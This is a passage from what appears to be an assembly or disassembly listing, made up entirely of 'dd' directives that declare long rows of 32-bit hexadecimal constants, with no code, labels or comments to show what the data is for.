		dd 0A879E812h, 2DD35A2Dh, 0AE889Ah, 8C42ACE0h, 4D00D73Eh
		dd 84146773h, 351E069h,	0B51C7B9Ch, 0E04B0636h,	9C1E50A5h
		dd 30921480h, 0A70E37C3h, 89DEE9B5h, 0D2440404h, 0A1629E07h
		dd 80C06BC3h, 6506F470h, 122D7C15h, 719205Fh, 8BB8C580h
		dd 291358D8h, 9CF8F360h, 3B447A82h, 3DC44FEh, 36884469h
		dd 19099D4Ah, 468F9F1Bh, 0C8ED9D28h, 74B09F45h,	0B3934EDAh
		dd 0D9E82D64h, 979C0B3Ch, 0A281D10Fh, 2B6D8B29h, 0E7140C8h
		dd 11E1C2B0h, 0E02EF2F9h, 0A6EAF56h, 0C85B8928h, 14C4950h
		dd 544A9906h, 419531FAh, 6B5F0EC8h, 0C39C50DBh,	5AB25832h
		dd 0DAEEE6D0h, 0B715E8E2h, 8F8C7A8Ch, 0DB7BA049h, 0BDD0B4EFh
		dd 77365481h, 5AE88068h, 0CD8F9616h, 3EAC989Dh,	2D4262E3h
		dd 67CC22BFh, 6BD02018h, 0DF03525Bh, 8B38E89Eh,	57D282B1h
		dd 5EDD084h, 0A5C26501h, 0E98CF6C6h, 465EC856h,	0D9120EEDh
		dd 0E7D22BD0h, 6033647Ch, 26BBB188h, 9C6E57h, 0CDDA9BB3h
		dd 0AFE4CC36h, 7C349800h, 28F862F6h, 7668CAC5h,	9064C9A4h
		dd 0FE808707h, 81F0E262h, 0EEB42DB6h, 10784FD0h, 6F1DC0D8h
		dd 1C806744h, 0C4319AA6h, 0C2D9D02Fh, 0DC50C864h, 1D30C9AFh
		dd 64A58CEEh, 886155C4h, 4B4970AFh, 0CE3E2400h,	2A13F9E8h
		dd 30442577h, 0F745C82Eh, 0E804FC0Bh, 6E008CBDh, 0C17C674Bh
		dd 75493679h, 4F8C55Ch,	8E00F8B5h, 0AF6D6901h, 94A212B4h
		dd 7AF7517h, 0C51A2E25h, 86EAB44h, 0A6A17300h, 7BFC659Eh
		dd 0F964AF27h, 79DD9840h, 9C4F0351h, 0A84C6CB3h, 28A1C010h
		dd 5744B8ABh, 80C8BC22h, 8A269E67h, 900386Bh, 17C6973h
		dd 3EC4918Ch, 96B982CFh, 0C27BE69Eh, 0F26B8B39h, 141B1461h
		dd 16AB48E4h, 0E9145F29h, 0B0CE5E74h, 71C0B888h, 5818F2F5h
		dd 2C13C4A6h, 0FC24EC35h, 61008CBAh, 0A0F8333h,	0C8ACABh
		dd 1077BAA0h, 4BC2F622h, 3C00C9DEh, 0CA154D04h,	8A19007Bh
		dd 6DA33DA8h, 8C2517B9h, 0BB58C096h, 8D5C00EEh,	9130377Bh
		dd 0FC9E6B15h, 0AA34440h, 755B077Fh, 1025851Eh,	0C66A020Ch
		dd 54FDD82Ch, 1DA86B60h, 8F2FF1F9h, 0C05588C8h,	33C2D2AFh
		dd 1CAD123Dh, 0E0A6E8C3h, 623D3E42h, 70A27D3Bh,	0F409C988h
		dd 5471E9A0h, 1518F659h, 7E94038h, 64B08BA9h, 0C9D547h
		dd 0A636904Ch, 963B2599h, 0F89658C6h, 9ED465Eh,	5AF8652Fh
		dd 721A378Ch, 0A4B9F410h, 514EEF88h, 87F394A5h,	0F4A0D64Bh
		dd 0F3FA5800h, 4B917554h, 0A2852627h, 0F1190E28h, 1CC8C789h
		dd 3612CBDAh, 54E147B7h, 3A049D3Eh, 0F1C8388Ah,	6B04D6C0h
		dd 403B01C4h, 368A13C6h, 0C1209647h, 9C97A420h,	30FE588Dh
		dd 0F802A705h, 0C421BE2Ch, 66023D27h, 0E0E4127Dh, 7BCB94h
		dd 77E3055Eh, 0E0C539F8h, 9C043BE0h, 0A569F07Ch, 46BEAh
		dd 264F0B0Ch, 0F09C7FB4h, 50A20729h, 483A3DE0h,	64B0E72Fh
		dd 0C7B560B6h, 0B8C61668h, 4AACACCDh, 76A620D8h, 41B8AA5Dh
		dd 6C243C6Fh, 0E2F24A7Bh, 0DDB00054h, 4583461Dh, 0ADEA4Ah
		dd 95FB4B62h, 0BAC02181h, 4401DB13h, 36E85CECh,	52B3008Ch
		dd 0C0B7FF17h, 330E65DDh, 56CE5F81h, 585BFC09h,	0F7FC0814h
		dd 1428D2E0h, 0C2814EEEh, 0BAA900DFh, 3B8A85F6h, 0AF49551Ch
		dd 0ABBF12D8h, 9063A809h, 20B86BF4h, 11AF29Dh, 72B4ACBEh
		dd 0BFE82540h, 0B8CE00E8h, 209C1531h, 63013B86h, 8C43E18h
		dd 0FF4D4481h, 80D0A804h, 17F2BC3Fh, 0DCC62C8Dh, 0EBDB095Ch
		dd 2A00BC58h, 12A1D45Fh, 0A2333A83h, 0A8948DC0h, 95E366E0h
		dd 0A6001CECh, 38F63171h, 28A946A7h, 1F348976h,	2584D802h
		dd 6B25F081h, 0E590153h, 27A456EEh, 94801451h, 3EC371E7h
		dd 4DB78BEh, 0AFEB76CEh, 63DCC85Ch, 805DB82Ch, 3B0E8985h
		dd 41126800h, 60A8C69Dh, 5B06F149h, 3B4FE3FEh, 5622E0A2h
		dd 459E3206h, 2906083h,	2A15C6D7h, 0D0D0CC6Fh, 1B8C50Bh
		dd 0DAF4C105h, 6CF06610h, 985EBB4Eh, 345E5BBAh,	64CF3D04h
		dd 4170A0E4h, 0BF5DF0A0h, 8C01BCB4h, 0E1ABD45Ah, 960C50BAh
		dd 0BD704048h, 449CFC13h, 0F0B888ACh, 0CE9008Ch, 8EC9EEEBh
		dd 50C93D04h, 0E4204536h, 38806535h, 0E48411B0h, 40D24B33h
		dd 35443A6Ch, 0C8C443A3h, 54AC0D04h, 2B180BF5h,	37752042h
		dd 8CB104F0h, 9C38AC21h, 94FA4000h, 49D064C9h, 7C25B0A8h
		dd 0C384DCD1h, 0CCA139B8h, 0BA9067F0h, 58379D4Ch, 9CDF7400h
		dd 454F07Fh, 0EFDAD728h, 1F00BCE4h, 0C6832B6Bh,	789AA333h
		dd 0E984A408h, 43F81089h, 3D6AC5Ch, 0BB0FFE4Bh,	7FE1EC6Fh
		dd 1C2F3AC0h, 5F00EF23h, 3DA67204h, 4A9C9A2Bh, 0DE50DC5Ch
		dd 0D03A2389h, 7DD08B38h, 2EB96600h, 0A63B72DBh, 205704E1h
		dd 81A7657Fh, 25FE770h,	9E54C491h, 54465E04h, 0F87FB900h
		dd 0E3910AF3h, 706F2912h, 0A8C78440h, 9F0C26AAh, 0BD444067h
		dd 0DFB38065h, 8F020661h, 3E227909h, 80B054C3h,	74CDF3C0h
		dd 0DA12BA98h, 7CFD1CD8h, 0CC01C4B8h, 7C34B31Dh, 102B5D6Eh
		dd 9C4B058h, 872E481Eh,	0C059D3B4h, 0F2C4DEC6h,	18CEFC00h
		dd 0B5529973h, 6D02580Bh, 2FA88A4Ah, 0E8200ADFh, 0B4E501DEh
		dd 2132EE97h, 0AC56EA30h, 0BD569AE4h, 3C1AB874h, 30BEC60Ch
		dd 0B338581h, 65C4DCC8h, 0BC5468D0h, 5C3F8CB9h,	47F9007Ah
		dd 0F4C73FBBh, 1EA17121h, 8B36C17Ch, 8882A4FCh,	2500C85Ch
		dd 4EBEE969h, 6D74F111h, 2DDB800h, 76802401h, 1459DE56h
		dd 0E045F800h, 0F4FB3CDh, 0C57DFC8Eh, 0DC2F80E0h, 0C64BADB8h
		dd 0EE03088Bh, 0BAF79991h, 154566D0h, 336D2B09h, 0CA2CF60Dh
		dd 5B00D63Ch, 21D84627h, 4B8D1132h, 0C4E202h, 54D3342Bh
		dd 7C2FA8h, 0A1ED5F4h, 0ACC136FCh, 4514A502h, 20AA038Bh
		dd 0A846BF63h, 0C00B8AFEh, 59399087h, 0DF830068h, 6442032h
		dd 10049500h, 0DB5F0E22h, 64D325FAh, 0A1C01C4Dh, 2D18915h
		dd 772B56D8h, 3A7D3C78h, 0ADC60CCh, 0B04C9F42h,	0FBD38FCh
		dd 0FF32E0DCh, 4A64A34Bh, 7B6490C0h, 0FE4B6506h, 520198E2h
		dd 9227C756h, 0A6C94093h, 0FD09BCCFh, 0F49C55A2h, 48732F7Ch
		dd 52922D8h, 8F2BAD71h,	7FD0A591h, 98CE7CDAh, 0A16821E0h
		dd 6512408Ah, 64B3B3FBh, 3CD86405h, 0D028D7D3h,	0C618F7E4h
		dd 0CF0BACB9h, 11B81F63h, 0EDDB80F2h, 3D17EE56h, 7593C42Bh
		dd 9394E9F1h, 30AC3CB8h, 0F121278Ch, 0EF4828C4h, 39D4003Fh
		dd 0AEC67E8Dh, 0BE600035h, 7AE9FC2Bh, 0DA16A12Ah, 54F0E278h
		dd 0CCD727DCh, 9A77E0C2h, 832D6074h, 1DDC060Fh,	61E18986h
		dd 0ECBB7500h, 0FE872C0Bh, 8549021h, 0A6D5A1ABh, 1374674h
		dd 0B7B2D04Dh, 5ECC8589h, 35A43CADh, 0BC8A5625h, 0A8D2604Ch
		dd 0AB4A8B69h, 880F09Bh, 0BAD37A89h, 0C802EF06h, 79F9B55Ch
		dd 70656B36h, 0B0840437h, 48BCADD3h, 90045C2Dh,	0A44CAC01h
		dd 7F8090B8h, 0A45167C3h, 7EAF6600h, 0BDBF9D32h, 0A31C0422h
		dd 0C2EC8A41h, 18DA9794h, 1668E19Fh, 0DB3B0875h, 0E3A980D4h
		dd 5AAF52E7h, 0FE74245Ah, 0A5216020h, 0E8180425h, 0B3C2449h
		dd 0AB70823Ah, 0EF29045Bh, 0B4B2FC6Bh, 5B2B4230h, 53CF0B2h
		dd 20CB0C4Ah, 9495E622h, 0F03A5808h, 1C8C50FCh,	1A9F367h
		dd 86B50D95h, 0BDCC42E4h, 112A0D4h, 2A0020B3h, 0B03AB25Fh
		dd 0A8DC0851h, 0A4396501h, 0C4788B2Dh, 45C8C47Fh, 28A3120Dh
		dd 0F37D5862h, 42E06702h, 0A0E86028h, 77873C9Ch, 0E8F0B105h
		dd 3398F5C8h, 7498247Ch
		dd 0E9A99000h, 668C25h,	0F3B5BF9Fh, 21C535Dh, 44D14D1Fh
		dd 30B06F92h, 815CA8D8h, 18BB275Bh, 64AB4879h, 24713778h
		dd 3DB8B1B4h, 0C5122E20h, 28B1EED0h, 12325AC0h,	9296AB92h
		dd 0E0609B78h, 3CAD660Bh, 81BE44E0h, 7DA8B07Eh,	0A1C380B8h
		dd 0E7DA6425h, 60BD643Ch, 90460BD6h, 1C4F01Dh, 326C28Fh
		dd 64D45CD8h, 2B21353Ch, 18F6F156h, 0E51A28C9h,	87B028Eh
		dd 24872103h, 48BF68DAh, 7360BCB8h, 200A0240h, 0A4DDBE11h
		dd 0F3113897h, 52FE798Eh, 0B2520306h, 63DA3544h, 2BB89077h
		dd 0B864B5B4h, 9055B900h, 8F29B58Ah, 0B460BF44h, 2504A895h
		dd 0A7EF39BFh, 0FF0233Ah, 0BF29E1B9h, 45931C59h, 2077808h
		dd 4D3876C9h, 0E29F6072h, 8730F9D4h, 0C5C7F194h, 899CC2F3h
		dd 0AF2578F8h, 0D0CCA263h, 417CD67Bh, 6056C4D5h, 0C3027810h
		dd 0E9C6A743h, 50107DFBh, 67002E6Ch, 0EC9AEEAAh, 0FD715F7h
		dd 0B0D05C8Fh, 7C9D5042h, 1B059874h, 6EEE6FB2h,	8DD70144h
		dd 53336C59h, 259729D8h, 0BCCE22B0h, 4625F0DEh,	5E80B0E0h
		dd 7CD8B154h, 29FCA2E0h, 0B6E43845h, 0D6F46460h, 40F3C52Ch
		dd 8A0C3B11h, 8229B503h, 3775BA07h, 316050B9h, 0CE414Fh
		dd 16AA6013h, 7810AD9h,	0B88B53h, 15C7FA7Dh, 9DA14FDh
		dd 0A14A37E2h, 9420DCD1h, 3F1374B0h, 84E814C6h,	0E5D83DC1h
		dd 4DD509F0h, 896B9A00h, 0FE9B30A0h, 35DD1600h,	4EF6AFBEh
		dd 9D7C4B96h, 108A3B14h, 2EC051C8h, 0DF7E9Ch, 6EF6BC3Fh
		dd 0B1D0648Ch, 0F8BEE89Ah, 0E460C56Bh, 7FE76052h, 0F1DC3DF2h
		dd 3D97DA00h, 0E961D8BEh, 0E8A2F0C7h, 59EB8987h, 1835D920h
		dd 0D7580259h, 0D64BACFBh, 7000C455h, 0CA8E008Fh, 0AA7FBF0Fh
		dd 0A400FDF6h, 0E10C5678h, 0BF40C064h, 3111381Fh, 4B049180h
		dd 2425D7E3h, 981464B8h, 0DB612D6Ch, 281A48A0h,	0E59DA146h
		dd 8B725F4h, 0E86F3900h, 6D314DBh, 0FCD80D25h, 1E1658A6h
		dd 0C480D73Dh, 0C20FBAC2h, 0F5D8C638h, 2B12B4F0h, 0C4B2A59Bh
		dd 6C3052E2h, 84270079h, 7BDA4A48h, 7C2DC067h, 64E4C7B3h
		dd 0A2AE6038h, 30521F0Bh, 0E017C163h, 7E7729CBh, 66E19982h
		dd 0C8DA00CCh, 31136AB1h, 0D601A12Ah, 0A4CB27B6h, 3C6C2F25h
		dd 3FC6E97h, 3F32B8A7h,	0E326D8AEh, 2F10B83Dh, 60D9927Dh
		dd 3B19F5D9h, 12FC0E0h,	0B1FF2256h, 0FDEFDB6Ch,	427FD3h
		dd 54F0E7A6h, 0F34674D0h, 9CB48500h, 8380184h, 918408B7h
		dd 2E59009h, 7D8F2D98h,	9CCE9482h, 401060F6h, 5E6C6B10h
		dd 3CECC8h, 0C546DEF0h,	2AE49A93h, 5C2649h, 0CB3985DFh
		dd 4D22B81h, 7A537B8Bh,	6B7CB19Ch, 0CC1E486Eh, 0F4172DA5h
		dd 8380BA91h, 3B2346A4h, 0BC2F63Eh, 0FEF781B0h,	3E38F41Ch
		dd 0BD8D8F93h, 22F2C5EEh, 23E46BEFh, 0B14B034Fh, 0CC017D2h
		dd 5E12A17Bh, 54F44424h, 1F84079h, 3948C330h, 28A3BCh
		dd 668969C8h, 97ADC24Eh, 65E64125h, 0D2321080h,	2AA074E6h
		dd 0C7015EB1h, 497A6EC2h, 423B318h, 5209CF07h, 1E0602Eh
		dd 0A005DBCh, 260E9507h, 953D43FBh, 3591A417h, 0D28D9F80h
		dd 6A04D132h, 0F9C52A9Ah, 0D63FACACh, 5A0504B9h, 0EF3990AFh
		dd 0EF23B86Bh, 0FB348300h, 10D85F2Ah, 0E1AF7F24h, 26094CF1h
		dd 0EA78B0C0h, 17D60069h, 0C6404B28h, 92710115h, 5783F309h
		dd 2BC7A24h, 0CFBB3DD0h, 0C9801A27h, 30630E96h,	4F7F4A00h
		dd 0B4B0748Fh, 34039F39h, 0ECCCD7B2h, 8C50E8F8h, 84730A13h
		dd 4504A004h, 17B8A07h,	0C81F1199h, 0F0F09C4Ah,	4C1E2B75h
		dd 0A95831FAh, 5B011BA9h, 6404023Bh, 54C8CCF8h,	0F5C9F7Fh
		dd 60AC9790h, 0C5BD0320h, 189527E8h, 4F803791h,	0C4EB5A3Ch
		dd 2CAD2F02h, 56222ADCh, 0D00A8224h, 0DC0BC180h, 0C059E9F4h
		dd 0AA18F559h, 1D47950Fh, 0EC33E296h, 5884F793h, 202A05D4h
		dd 0F1E82800h, 0B1D90AF9h, 1856D194h, 0F8C398C5h, 7E1509C8h
		dd 402A2CEh, 8E4F471h, 0A83D02E4h, 0B43890D8h, 0DAB10409h
		dd 491E28DAh, 902F5047h, 0FAC875D4h, 0CC570026h, 0C569EECAh
		dd 5673ECF7h, 73D2ED25h, 0BD848874h, 63110105h,	786910C6h
		dd 0FA4004FFh, 0B8167404h, 7CAD2220h, 1A35003Fh, 2BE3F0E9h
		dd 49FCC97h, 0D0B5F48Ch, 0C612F82Ch, 31CE0DCh, 1F20A749h
		dd 251416EAh, 0B85E09D0h, 0FB2041A9h, 2B1C807Eh, 0FCBE66B3h
		dd 48D408h, 0A920ECC5h,	4CB404B4h, 0C6B92B81h, 7C3C85A0h
		dd 0E08F2904h, 0DBBD054Dh, 140050A8h, 3E3B9A24h, 7EE9273Dh
		dd 8AE9088Ch, 0CB986482h, 0A7010402h, 13C0F6B0h, 2F672B7Ah
		dd 34724EDCh, 0BF8FD10h, 2A3CBB02h, 8C932124h, 5FB07017h
		dd 0F90064E9h, 0A8E78DD2h, 7B20459Eh, 4AD73C6Eh, 1238F35Eh
		dd 24BAA413h, 6020AF14h, 5BBA9Eh, 0EBE58CCDh, 1917C09Ah
		dd 1082C600h, 99EE7B3Eh, 589801F1h, 9A068D20h, 4C603204h
		dd 46AA13ECh, 5DD8A0C0h, 86382F6h, 0EFFDB8C0h, 90952496h
		dd 0C0F64AE0h, 1014EBE0h, 0E71A5301h, 42D4591Fh, 0C8B88E7Bh
		dd 5960CFF6h, 6DF15088h, 34B1F701h, 0A0222435h,	9EA4D980h
		dd 8EDAC625h, 8C85BE4Bh, 2E86BFAh, 0D86ED5F0h, 7C2CD03Dh
		dd 0D06D245Fh, 17FB027Ah, 0F9DA5Bh, 0EB18EFF1h,	9BBBB600h
		dd 4EE8D56Fh, 38409562h, 34B65D70h, 0AEFACE00h,	965C4FFFh
		dd 34465E68h, 0C61E8800h, 299371CEh, 70FC672Fh,	0A3492588h
		dd 97415C74h, 4703483Ch, 0A51241E6h, 0BCA8657Ch, 0A08CA75Bh
		dd 2848B470h, 4BA4C68Eh, 4AB08BEAh, 57C800CAh, 0B33B10C0h
		dd 0A582079Fh, 692A8BFCh, 577AAC71h, 34406C6Dh,	1F3CA2Fh
		dd 2638990Ch, 0FC43F718h, 0B5FF205h, 67C828A2h,	91C8956Bh
		dd 0EE7080F1h, 0E299D2CDh, 3AE12E4h, 27A4F21Dh,	0D2CA004h
		dd 33EA5Bh, 9DA4AE2h, 0D60A18FCh, 825C6338h, 7C146F73h
		dd 0D01A5570h, 0DC00D6h, 5113F635h, 821A7F12h, 94A6445Fh
		dd 8E3B04B0h, 99947012h, 0CA10CACh, 0CCDE6EA5h,	88F58D80h
		dd 0B82FC4B1h, 2B30012Dh, 97ECC77h, 8C73BDBCh, 39A4EF88h
		dd 0B19F2593h, 1C8A2AC0h, 581FC610h, 0A3D1058h,	0BD444B70h
		dd 3BFBACA4h, 0E600B1E3h, 2AA1FCB3h, 25E69BD7h,	0F98518B9h
		dd 6C822BE9h, 819B0035h, 5997B32Ch, 184E79A0h, 0D479976Ah
		dd 0E038DC07h, 66331590h, 2C535805h, 0DE62C976h, 0F5C0F8EDh
		dd 2DA7FEADh, 78103964h, 4050A8C9h, 0C8002BFFh,	0FA379B9Dh
		dd 3FEB00Ah, 0C15373BFh, 812F1D3Fh, 20DCD276h, 66BDDA9Dh
		dd 0D0C33EBCh, 0FC4C005Dh, 6DA06E0Bh, 894E7CD0h, 0D29BFCD0h
		dd 91301615h, 63A8078Bh, 7729103Fh, 7C913D70h, 94B48916h
		dd 45B40F5Ch, 75631C41h, 5DA81D0Fh, 0EA000C40h,	0AADB36DEh
		dd 7C422D51h, 0A5901D5Ah, 0A4EA24h, 4CDCB9EBh, 6F0C8F47h
		dd 873D533Eh, 142A32B4h, 5B6577E1h, 9B808082h, 37554F69h
		dd 5BF20084h, 0EE36A16Eh, 0B7786E95h, 8F40E06Dh, 1FD74558h
		dd 1EFC66B2h, 90AF4288h, 32F7A416h, 0C494656Ch,	0D6BE60F5h
		dd 1572009Dh, 0F78CC536h, 182ED864h, 0EA8898D2h, 70C425DBh
		dd 8E2FA200h, 101F438Ah, 12BB76BDh, 0E5658731h,	0B23833C8h
		dd 0F4813031h, 3B5BDC79h, 34B66CD4h, 0F3FC7DE0h, 6240AE00h
		dd 1AF9E914h, 918F2F2Ch, 4EC460C7h, 0B0F06663h,	509AF9A9h
		dd 3DEC9713h, 0E654E897h, 24C92100h, 0C3FE28E9h, 5C9188EEh
		dd 391E9503h, 67858880h, 111589Bh, 1293209h, 0CF43140Eh
		dd 0B00103B3h, 0C064FFF6h
		dd 0F32FC910h, 302FB2A4h, 7F03A6C3h, 0F01F8163h, 221DC2E8h
		dd 89DF84D2h, 6CB40218h, 95C4F243h, 0C0D60C6Ah,	600601DCh
		dd 2DA17C47h, 0B4A23AC8h, 0C9628300h, 0A5B9DEA3h, 0F513D02h
		dd 0F612A409h, 26594034h, 2000C5DCh, 88CB3E8Fh,	5B8B1Dh
		dd 0F43A0722h, 0A5039A38h, 0DD9F71C3h, 3253A059h, 9B689C8Bh
		dd 0AFE1719Bh, 28202A0Ah, 185F4CDh, 34784073h, 0A52B7C93h
		dd 1C44F9C1h, 58188095h, 6C8D210Dh, 57EF2701h, 0A678CD67h
		dd 110C4FAh, 0F76D8B39h, 504C4A34h, 0DDE32020h,	9B004F7Eh
		dd 0EC96460Dh, 0FD658675h, 3A63F8D0h, 0E94A7C25h, 1E9BB820h
		dd 4FE031DAh, 0C477C8D2h, 0E8DBBF98h, 0FD6AD4C0h, 8400963Bh
		dd 0E6C44089h, 801B4BC1h, 12003AF6h, 2EAD1705h,	77A8927h
		dd 46E63B2Ch, 0D0645177h, 0A4D12FD1h, 78DAC629h, 7974B9E4h
		dd 1581836h, 0C8A6A4E3h, 0F254C0BEh, 54490876h,	4FDE40BCh
		dd 0B61C0F88h, 0CEBD14B1h, 5423CC2Fh, 9F85C800h, 0E075D591h
		dd 0B0A57522h, 0BB060247h, 0C0A1390Ah, 0A04F24E6h, 7480C09Eh
		dd 5EA1A311h, 951C9A20h, 8076D0B1h, 0BFDEBB99h,	4A2ECFFCh
		dd 0FC68AC89h, 55908CF5h, 52B05C01h, 0E692FD7Ah, 0BE58F02Eh
		dd 2535A480h, 9CE7578Fh, 0DCEDB77Ch, 81AAB944h,	1B38CF0h
		dd 0A448262Ah, 4A2E0259h, 4E3476CBh, 88906555h,	56A5EDBFh
		dd 7097DCC0h, 9B84017Ch, 305025BEh, 0E0202A6Eh,	77FA313h
		dd 37F2F4A8h, 2A9AF1B7h, 82DC3C24h, 57CA20F0h, 0DEEC041Ch
		dd 255F2980h, 0A06E3760h, 30B22A10h, 0FA698B12h, 0B7021C7Ah
		dd 2C15F9E8h, 0DEFCB255h, 5402D420h, 84D81D41h,	86457ABh
		dd 0F2A98B00h, 2C1288B0h, 58C00062h, 0DAA6E28Eh, 0A04E1C3Ah
		dd 0C1807CDBh, 8F9BCB43h, 0D86C5E09h, 3654A209h, 803076C3h
		dd 0DC6AB9Fh, 4097B547h, 7A06B154h, 0C9304A95h,	30B62AA4h
		dd 65B7CAF0h, 59D31A25h, 18D0A7F4h, 4EF13640h, 7A808453h
		dd 0B7300034h, 0D7DACE0Bh, 0FC09957Ch, 0F6A5287Bh, 0A30ED43Ch
		dd 0E0240767h, 2B2A30D1h, 0A63A5FEBh, 0EAA3010Ch, 0F5686AE5h
		dd 9419830h, 0C426B710h, 79273CD3h, 1CB9599Ch, 0D10601B5h
		dd 0D802EB56h, 7BC43438h, 0BC3FF301h, 9A357CF5h, 179306E0h
		dd 0B1011633h, 0A799E070h, 0CCC235Bh, 69D821C5h, 20A1D213h
		dd 93C89B3Bh, 4581FCECh, 3029B9A7h, 0BA40C830h,	0EE8B049Ch
		dd 0E8FD7B31h, 4BD4B28h, 83838B8h, 6CCE0BFBh, 0D4FCF467h
		dd 2A0E3446h, 0C3E069C6h, 1D65F91h, 6313B506h, 929D3C1h
		dd 0DC96A972h, 952DC478h, 11881D85h, 0C6C981EEh, 8A7FDA4Ah
		dd 0C48A4A14h, 0C1C036C8h, 113F11Eh, 2905412Eh,	7455D8C4h
		dd 9678C908h, 5ED06297h, 8A886780h, 5DF840D8h, 0A9042E84h
		dd 0D8772B67h, 991280FCh, 65F830B1h, 2D13A414h,	0CE75C77h
		dd 583DA61Eh, 0B8D01951h, 0C43BCD4Ah, 0BC013423h, 295AEA48h
		dd 0B4328AC1h, 0C2DB5600h, 0BCF128A2h, 0A3813600h, 105C4F66h
		dd 23AE6D9h, 9723E780h,	50D14344h, 0F4FC6A10h, 3D7B008Ch
		dd 695C9634h, 60942494h, 1480EB47h, 0FCF575CDh,	48A3016Eh
		dd 7CD9E051h, 20906A03h, 0FEB24F88h, 2E9E0E33h,	97C2B3A3h
		dd 68FE85C5h, 0F6700738h, 44805CBBh, 0FE2BF06Bh, 0AB00017h
		dd 459FFCFAh, 0F82F7562h, 0ACB76Fh, 0C2598ADFh,	0AB72134Ch
		dd 0CB4A203Fh, 5B060C40h, 9102681Eh, 24FC4944h,	867801D4h
		dd 2B323F7Eh, 3D7CD5A9h, 1AF187F8h, 3DD4D149h, 2DB0D609h
		dd 71703A55h, 18B75920h, 7D981742h, 0C074EC58h,	24103364h
		dd 2AFC3597h, 2F50E070h, 0B7BF0892h, 0FE5200F0h, 941ABC2Ch
		dd 0A377F701h, 49D04480h, 986C913Ah, 0FF2C6035h, 0D8895861h
		dd 3864AC10h, 4E7F203Dh, 0AF889F62h, 4A14C467h,	83C4E849h
		dd 0CC685EC9h, 0B1A0AC12h, 493A5EAFh, 10558D34h, 8B8A80h
		dd 0CAB3BF53h, 1A262563h, 806F6B3Bh, 0FF69BDD7h, 0D70D65C2h
		dd 0E070F638h, 0E091B06Bh, 20C35A99h, 1365A884h, 2EE31E00h
		dd 0EE386A5Fh, 91350BD5h, 46013F0Bh, 0CFFF689Ch, 6EDCC6D1h
		dd 6700006Eh, 19238510h, 0BB4AE951h, 7E7BF492h,	3E211148h
		dd 891C788Ah, 73A55B38h, 0FE8C30FCh, 8B4E8CABh,	126B10F0h
		dd 0B8F27DD8h, 788AD338h, 26C04FC8h, 2E5DA699h,	49286EABh
		dd 0E140E47Eh, 5C823h, 0BB907144h, 59CC3DEFh, 0C47D1105h
		dd 0BC9051A8h, 16C066FFh, 8EAF5DB7h, 0C038880Ch, 0C2EFF69Ah
		dd 16431C3Dh, 0A4072F19h, 5A59C467h, 0FCA50908h, 147020D7h
		dd 2CB26B5Ah, 7D67A710h, 14E14460h, 34B4E55h, 0FAB4E9EEh
		dd 28204CF4h, 6CD0973Ch, 96CEF718h, 25F802B0h, 0A873CF24h
		dd 54FE5A80h, 95873ECAh, 32F880C6h, 750F16F6h, 4721A8Bh
		dd 0E4C35802h, 3B09EC50h, 9C742489h, 0B0F86482h, 0A230C9B6h
		dd 0F4BCD828h, 600F008Ch, 0C633F64Eh, 9905890Bh, 0AFE0D80Dh
		dd 97775CFDh, 0F63FEC00h, 0C0E42503h, 4BE4A849h, 6A3FB89Dh
		dd 2BF116E8h, 90E7D600h, 271CC558h, 94799B9Eh, 0DB187E00h
		dd 0ACF6739h, 0E335A458h, 2489BFB8h, 0D079AE0Ah, 125DC162h
		dd 40A46D77h, 5BB015DEh, 5CED3D44h, 0F8100895h,	27221848h
		dd 0D06D31h, 887F83AFh,	740DC98Bh, 0A4177CFCh, 440075Dh
		dd 17A0C834h, 5EEC9896h, 9F604088h, 56E5CEB1h, 21763300h
		dd 4A84DDBDh, 2ACB1407h, 0C186D429h, 74008949h,	0F3ABF166h
		dd 9799E8h, 30AF4C85h, 5EB00E33h, 95B4A097h, 4B42536Bh
		dd 0E0BCF6CBh, 1E9187AFh, 872962CDh, 51BBCF7Fh,	6A37E477h
		dd 0FC59F0CAh, 4AEE44BCh, 319ED20Bh, 0B9F84824h, 0BEC4000Dh
		dd 928DDEA5h, 553C84E2h, 3DFB1FF4h, 7629405Ah, 0B5467400h
		dd 0BCAB0612h, 18F6D308h, 6B0B9EE0h, 0A4C4FE14h, 0B4884B91h
		dd 799726F5h, 0B2760088h, 0A3E7058h, 0B8B61D03h, 1E81E137h
		dd 0C67C952Ah, 392A24D9h, 0F300237Dh, 2F791FCh,	1997D92h
		dd 137380BEh, 62A749E8h, 6F290488h, 0E0E44150h,	0C082EA5h
		dd 0E80EF418h, 625589A4h, 0F5E0B25h, 0F868C24Bh, 3AE99BA6h
		dd 10D43432h, 30B265Bh,	0F13B8A83h, 0D1803BA0h,	42A1DC6Ah
		dd 6D0FD6FCh, 0C0199EC4h, 2B8B21BDh, 1C383197h,	888C1EC0h
		dd 46A010h, 5CAF7C76h, 4BA1C3Ch, 0D8F49D58h, 2C5F2ADEh
		dd 4170F5B8h, 68A75D1Eh, 0FC64064Ch, 31A904h, 0EBD0491Ch
		dd 76C42F1h, 3FC26201h,	9638F06Bh, 78D4E13Bh, 858480F0h
		dd 1E80AD63h, 8ED879B3h, 10C0DDD4h, 55D1DC40h, 305990Bh
		dd 0C0FD01A6h, 8852BD74h, 5FCC90A7h, 0EC79E908h, 0FB0A1912h
		dd 0FCAC3C52h, 0AC635716h, 0A0C296FCh, 0D0C3004Eh, 66B5E0C5h
		dd 0C1D745FCh, 0F44E3EC2h, 930420D2h, 0B49FFE8h, 7A0B6321h
		dd 2B2A1F02h, 388E4C5Eh, 0CA78209Bh, 6069B0C4h,	3B0158E2h
		dd 0F1D86F24h, 0B960B390h, 0E2A81DCCh, 6140FFF8h, 6506015Ah
		dd 9E722749h, 8CE02A81h, 34C08AD3h, 0C570C0BEh,	0C39EE8C4h
		dd 0AD54C8h, 4F6F5B44h,	29B8E2E1h, 0CFA4B607h, 856FFBA2h
		dd 68974BB4h, 8CF14DE5h, 403C083Bh, 37FB2312h, 0F70646Ch
		dd 719F8C2h, 0B863120Ch, 52E01D79h, 3075FB13h, 0AD8068DAh
		dd 0F29D550Bh, 0F8EB3603h, 0FAC4D347h, 5948E8D5h, 0B8434F7Ch
		dd 8CF1EC00h, 0B9B24103h, 0C95D016Dh, 9A2F0B17h, 0B965C040h
		dd 348833Eh, 2AEB742Bh,	692DF72Fh, 0E8CCE8C1h, 4D0907EEh
		dd 0E28A0A84h, 4C0CBA5h, 2912357Eh, 18726CD3h, 0D7ACC037h
		dd 0D4C5954Eh, 0B43525h
		dd 25804F3Ch, 0B7B88572h, 0D8C6BF0Bh, 5A684105h, 0D49D79A7h
		dd 0DC83F011h, 2B8A544Fh, 0E744F456h, 4AE1A4E8h, 160C72A7h
		dd 68DA4498h, 0E88D18C0h, 0D35E3DA6h, 0C2E65CC1h, 136DF192h
